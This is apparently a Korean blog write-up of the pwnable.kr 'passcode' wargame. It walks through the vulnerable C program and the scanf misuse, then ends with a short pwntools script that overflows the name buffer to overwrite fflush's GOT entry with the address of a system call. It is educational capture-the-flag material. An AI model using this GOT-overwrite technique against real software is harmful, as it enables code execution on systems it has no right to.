※ pwnable.kr 워게임 passcode 문제이다.
1. 프로그램 분석
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
1) main 함수
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
- welcome 함수와 login 함수를 호출한다.
2) welcome 함수
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
- 버퍼 name을 scanf로 입력받아 저장한다.
3) login 함수
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
- 변수 2개를 scanf로 입력받아 저장한다.
- if문에서 passcode1과 passcode2의 값이 조건과 같다면 system함수를 호출하고 조건의 값과 다르면 exit 함수를 호출한다.
2. 취약점 분석
- scanf로 입력받을 때 문제가 발생한다.
- scanf("%d", &passcode1)으로 하면 passcode1의 주소에 입력한 값이 저장된다.
- scanf("%d", passcode1)으로 하면 passcode1에 쓰레기값이 들어가 있는데 그 쓰레기값을 주소로 해서 그 주소에 입력한 값이 저장된다. (변수들을 초기화 하지 않아서 쓰레기값이 들어있는 것이다.) - 그러므로 passcode1과 passcode2에 조건문과 같은 숫자를 입력하여도 passcode1과 passcode2의 주소에 입력한 값이 저장되지 않기 때문에 참으로 만들 수 없다.
3. 풀이
- welcome 함수의 name을 입력받을 때 사용한 scanf에서 오버플로우가 발생한다는 것을 알 수 있다.
- 오버플로우를 사용하여 passcode1을 원하는 값으로 덮으면 passcode1을 덮은 값을 주소로 해서 그 주소에 입력한 값을 저장할 수 있다.
- 즉, 원하는 주소에 원하는 값을 저장할 수 있다는 결론이 나온다.
- 그러므로 passcode1을 fflush의 got 값으로 덮고 system 함수를 실행하는 주소값을 입력하면 fflush의 got 값에 system 함수를 실행하는 주소값을 저장할 수 있다.
- 그렇게 하면 fflush가 실행되면서 got 값을 찾을 것이고 got 값에 system 함수를 실행하는 주소값이 있기 때문에 system 함수를 실행하여 flag를 얻을 수 있다.
이 방법을 사용할 수 있는 이유는 PIE 보호기법이 적용되지 않기 때문이다. 만약 PIE 보호기법이 적용되면 주소값이 계속 바뀌기 때문에 쉽지 않다.

4. 익스플로잇
1) 오버플로우를 해야하기 때문에 스택 프레임 구조를 알아야 한다.
- name이 [ebp-0x70]에 위치한다.

- passcode1이 [ebp-0x10]에 passcode2는 [ebp-0xC]에 위치한다.

- 스택 프레임은 다음과 같다. 그리고 name을 오버플로우할 때 크기가 100까지만 입력받기 때문에 passcode1만 덮을 수 있고 passcode2는 덮을 수 없다.

2) passcode1을 덮을 fflush의 got 값은 함수를 불러올 때 plt가 먼저 got 값이 있는지 확인하는 과정이 있기 때문에 fflush의 plt를 보면 알 수 있다.

3) system 함수를 실행하는 주소는 0x080485e3이다. passcode1으로 입력할 때 "%d"인 정수로 입력받기 때문에 0x80485e3를 정수로 바꾼 134514147을 입력하여 준다.

4) 익스플로잇
from pwn import *
context(arch="i386", os="linux")
s = ssh("passcode", "pwnable.kr", port=2222, password="guest")
p = s.process("./passcode")
fflush = 0x804a004
system = b"134514147"
payload = b"A" * 0x60
payload += p32(fflush)
# name을 이용하여 오버플로우하고 passcode1에 fflush의 got값을 덮는다.
p.sendline(payload)
# system 실행 주소값을 입력한다.
p.sendline(system)
p.interactive()
5. 결과

'Wargame > [pwnable.kr]' 카테고리의 다른 글
[pwnable.kr] random 문제 풀이 (0) | 2023.07.29 |
---|---|
[pwnable.kr] flag 문제 풀이 (0) | 2022.08.20 |
[pwnable.kr] bof 문제 풀이 (0) | 2022.08.20 |
[pwnable.kr] collision 문제 풀이 (0) | 2022.08.19 |
[pwnable.kr] fd 문제 풀이 (0) | 2022.08.19 |